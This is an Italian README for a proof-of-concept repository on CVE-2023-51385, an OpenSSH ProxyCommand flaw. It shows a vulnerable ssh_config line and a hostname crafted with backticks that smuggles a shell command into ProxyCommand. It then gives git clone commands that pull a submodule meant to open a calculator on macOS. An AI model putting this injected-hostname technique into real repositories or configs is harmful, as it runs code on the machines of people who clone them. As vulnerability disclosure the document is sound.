
CVE-2023-51385
RCE tramite ~/.ssh/config insicuro L'uso di token come %h, %p in è piuttosto popolare per utilizzare tunnel e proxy di connessione tramite SSH.ProxyCommand
Configurazione vulnerabile host *.example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nota: nella mia valutazione iniziale ero sotto l'impressione che usare '%h` (virgolette singole) avrebbe evitato questo, ma sembra che sia ancora vulnerabile con qualcosa del tipo:
ssh://echo helloworld > cve.txt`foo.example.com/bar
Tratto da: https://man.openbsd.org/ssh_config#ProxyCommand
Cosa contiene questo repository Un sottomodulo che sfrutta questa vulnerabilità per aprire una calcolatrice su OSX.
Provalo utilizzando:
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
oppure
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules